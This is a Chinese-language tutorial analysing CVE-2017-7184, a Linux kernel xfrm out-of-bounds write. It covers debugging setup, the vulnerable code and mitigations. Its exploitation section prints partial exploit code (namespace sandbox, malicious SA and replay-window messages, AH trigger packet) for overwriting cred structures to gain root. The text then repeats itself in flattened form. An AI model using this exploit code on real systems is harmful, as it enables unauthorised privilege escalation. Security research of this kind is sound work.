Linux xfrm模块越界读写提权漏洞分析(CVE-2017-7184)
字数 1088 2025-08-29 08:31:48

Linux xfrm模块越界读写提权漏洞分析(CVE-2017-7184)教学文档

漏洞概述

CVE-2017-7184是Linux内核xfrm模块中的一个越界读写漏洞,存在于xfrm_replay_state_esn结构体的处理过程中。该漏洞允许本地攻击者通过精心构造的netlink消息和AH协议数据包,实现越界内存读写,最终可能导致权限提升。

漏洞环境搭建

调试环境配置

  1. 调试机(Debugging)配置

    • 安装带符号表的vmlinux:
    codename=$(lsb_release -c | awk '{print $2}')
    sudo tee /etc/apt/sources.list.d/ddebs.list << EOF
    deb http://ddebs.ubuntu.com/ ${codename} main restricted universe multiverse
    deb http://ddebs.ubuntu.com/ ${codename}-security main restricted universe multiverse
    deb http://ddebs.ubuntu.com/ ${codename}-updates main restricted universe multiverse
    deb http://ddebs.ubuntu.com/ ${codename}-proposed main restricted universe multiverse
    EOF
    wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add -
    sudo apt-get update
    sudo apt-get install linux-image-4.4.0-21-generic-dbgsym
    
  2. 被调试机(Debuggee)配置

    • 编辑/etc/grub.d/40_custom添加KGDB启动项
    • 配置串口通信

双机调试脚本

gdb \
    -ex "add-auto-load-safe-path $(pwd)" \
    -ex "file /usr/lib/debug/boot/vmlinux-4.4.0-21-generic" \
    -ex 'set arch i386:x86-64:intel' \
    -ex 'target remote /dev/ttyS0' \
    -ex 'continue' \
    -ex 'disconnect' \
    -ex 'set arch i386:x86-64' \
    -ex 'target remote /dev/ttyS0'

漏洞分析

关键数据结构

  1. xfrm_state结构体

    struct xfrm_state {
        // ...其他成员...
        struct xfrm_replay_state_esn *replay_esn;
        struct xfrm_replay_state_esn *preplay_esn;
        const struct xfrm_replay *repl;
        // ...其他成员...
    };
    
  2. xfrm_replay_state_esn结构体

    struct xfrm_replay_state_esn {
        unsigned int bmp_len;
        __u32 oseq;
        __u32 seq;
        __u32 oseq_hi;
        __u32 seq_hi;
        __u32 replay_window;
        __u32 bmp[0];
    };
    

漏洞根源

漏洞存在于xfrm_replay_advance_esn函数中,当更新replay状态时,没有正确验证replay_window参数,导致可以越界读写内存:

static void xfrm_replay_advance_esn(struct xfrm_state *x, __be32 net_seq) {
    // ...
    if (diff < replay_esn->replay_window) {
        for (i = 1; i < diff; i++) {
            bitnr = (pos + i) % replay_esn->replay_window;
            nr = bitnr >> 5;
            bitnr = bitnr & 0x1F;
            replay_esn->bmp[nr] &= ~(1U << bitnr); // 越界写
        }
    } else {
        nr = (replay_esn->replay_window - 1) >> 5;
        for (i = 0; i <= nr; i++)
            replay_esn->bmp[i] = 0; // 越界写
    }
    // ...
    replay_esn->bmp[nr] |= (1U << bitnr); // 越界写
}

漏洞触发路径

  1. 通过netlink的XFRM_MSG_NEWSA消息创建xfrm_state
  2. 通过XFRM_MSG_NEWAE消息修改replay_esn参数
  3. 发送特制的AH协议数据包触发漏洞

漏洞利用

利用思路

  1. 内存布局控制

    • 通过设置bmp_len使xfrm_replay_state_esn结构体大小为192字节以内
    • 利用fork喷射大量cred结构体,使其与漏洞结构体相邻
  2. 权限提升

    • 利用越界写将相邻cred结构体中的uid/gid等字段置零
    • 通过反弹shell获取root权限

利用代码关键部分

  1. 设置sandbox绕过权限限制
void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();

    if (unshare(CLONE_NEWUSER) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (unshare(CLONE_NEWNET) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("[-] write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
        perror("[-] write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("[-] write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }
    // ...其他设置...
}
  1. 构造恶意SA
int xfrm_add_sa(int sock,int spi,int bmp_len) {
    // ...初始化消息头...
    struct xfrm_usersa_info xui;
    memset(&xui,0,sizeof(xui));
    xui.family = AF_INET;
    xui.id.proto = IPPROTO_AH;
    xui.id.spi = spi;
    xui.id.daddr.a4 = inet_addr("127.0.0.1");
    xui.lft.hard_byte_limit = 0x10000000;
    xui.lft.hard_packet_limit = 0x10000000;
    xui.lft.soft_byte_limit = 0x1000;
    xui.lft.soft_packet_limit = 0x1000;
    xui.mode = XFRM_MODE_TRANSPORT;
    xui.flags = XFRM_STATE_ESN;
    memcpy(data,&xui,sizeof(xui));

    // ...添加其他必要属性...
    struct xfrm_replay_state_esn rs;
    memset(&nla, 0, sizeof(nla));
    nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
    nla.nla_type = XFRMA_REPLAY_ESN_VAL;    
    rs.replay_window = bmp_len;
    rs.bmp_len = bmp_len;
    memcpy(data,&nla,sizeof(nla));
    data += sizeof(nla);
    memcpy(data, &rs, sizeof(rs));
    data += sizeof(rs); 
    memset(data,'1',bmp_len*4*8);
    // ...发送消息...
}
  1. 修改SA参数触发漏洞
int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi) {
    // ...初始化消息头...
    struct xfrm_aevent_id xai;
    memset(&xai,0,sizeof(xai));
    xai.sa_id.proto = IPPROTO_AH;
    xai.sa_id.family = AF_INET;
    xai.sa_id.spi = spi;
    xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");

    // ...设置恶意参数...
    struct xfrm_replay_state_esn rs;
    memset(&nla, 0, sizeof(nla));
    nla.nla_len =  sizeof(nla)+sizeof(rs) +bmp_len*8*4;
    nla.nla_type = XFRMA_REPLAY_ESN_VAL;    
    rs.replay_window = evil_windows;  // 关键恶意参数
    rs.bmp_len = bmp_len;
    rs.seq_hi = seq_hi;
    rs.seq = seq;   
    // ...发送消息...
}
  1. 发送触发包
int sendah(int sock,int spi,int seq ) {
    struct sockaddr_in sai;
    struct ip_auth_hdr ah;
    // ...初始化...
    ah.spi = spi;
    ah.nexthdr = 1;
    ah.seq_no = seq;
    ah.hdrlen = (0x10 >> 2) - 2;
    // ...发送数据包...
}

防护措施

  1. 更新到修复该漏洞的内核版本
  2. 限制非特权用户使用netlink套接字
  3. 启用内核地址空间布局随机化(KASLR)
  4. 启用SMAP/SMEP保护

参考资源

  1. Linux内核源码:https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm
  2. Netlink编程指南:http://www.man7.org/linux/man-pages/man7/netlink.7.html
  3. 双机调试教程:http://blog.chinaunix.net/uid-26675482-id-3255770.html

本教学文档详细分析了CVE-2017-7184漏洞的技术细节和利用方法,仅供安全研究和防御参考。请勿用于非法用途。

Linux xfrm模块越界读写提权漏洞分析(CVE-2017-7184)教学文档 漏洞概述 CVE-2017-7184是Linux内核xfrm模块中的一个越界读写漏洞,存在于xfrm_ replay_ state_ esn结构体的处理过程中。该漏洞允许本地攻击者通过精心构造的netlink消息和AH协议数据包,实现越界内存读写,最终可能导致权限提升。 漏洞环境搭建 调试环境配置 调试机(Debugging)配置 : 安装带符号表的vmlinux: 被调试机(Debuggee)配置 : 编辑/etc/grub.d/40_ custom添加KGDB启动项 配置串口通信 双机调试脚本 漏洞分析 关键数据结构 xfrm_ state结构体 : xfrm_ replay_ state_ esn结构体 : 漏洞根源 漏洞存在于 xfrm_replay_advance_esn 函数中,当更新replay状态时,没有正确验证 replay_window 参数,导致可以越界读写内存: 漏洞触发路径 通过netlink的 XFRM_MSG_NEWSA 消息创建xfrm_ state 通过 XFRM_MSG_NEWAE 消息修改replay_ esn参数 发送特制的AH协议数据包触发漏洞 漏洞利用 利用思路 内存布局控制 : 通过设置 bmp_len 使 xfrm_replay_state_esn 结构体大小为192字节以内 利用fork喷射大量cred结构体,使其与漏洞结构体相邻 权限提升 : 利用越界写将相邻cred结构体中的uid/gid等字段置零 通过反弹shell获取root权限 利用代码关键部分 设置sandbox绕过权限限制 : 构造恶意SA : 修改SA参数触发漏洞 : 发送触发包 : 防护措施 更新到修复该漏洞的内核版本 限制非特权用户使用netlink套接字 启用内核地址空间布局随机化(KASLR) 启用SMAP/SMEP保护 参考资源 Linux内核源码:https://elixir.bootlin.com/linux/v4.10.6/source/net/xfrm Netlink编程指南:http://www.man7.org/linux/man-pages/man7/netlink.7.html 双机调试教程:http://blog.chinaunix.net/uid-26675482-id-3255770.html 本教学文档详细分析了CVE-2017-7184漏洞的技术细节和利用方法,仅供安全研究和防御参考。请勿用于非法用途。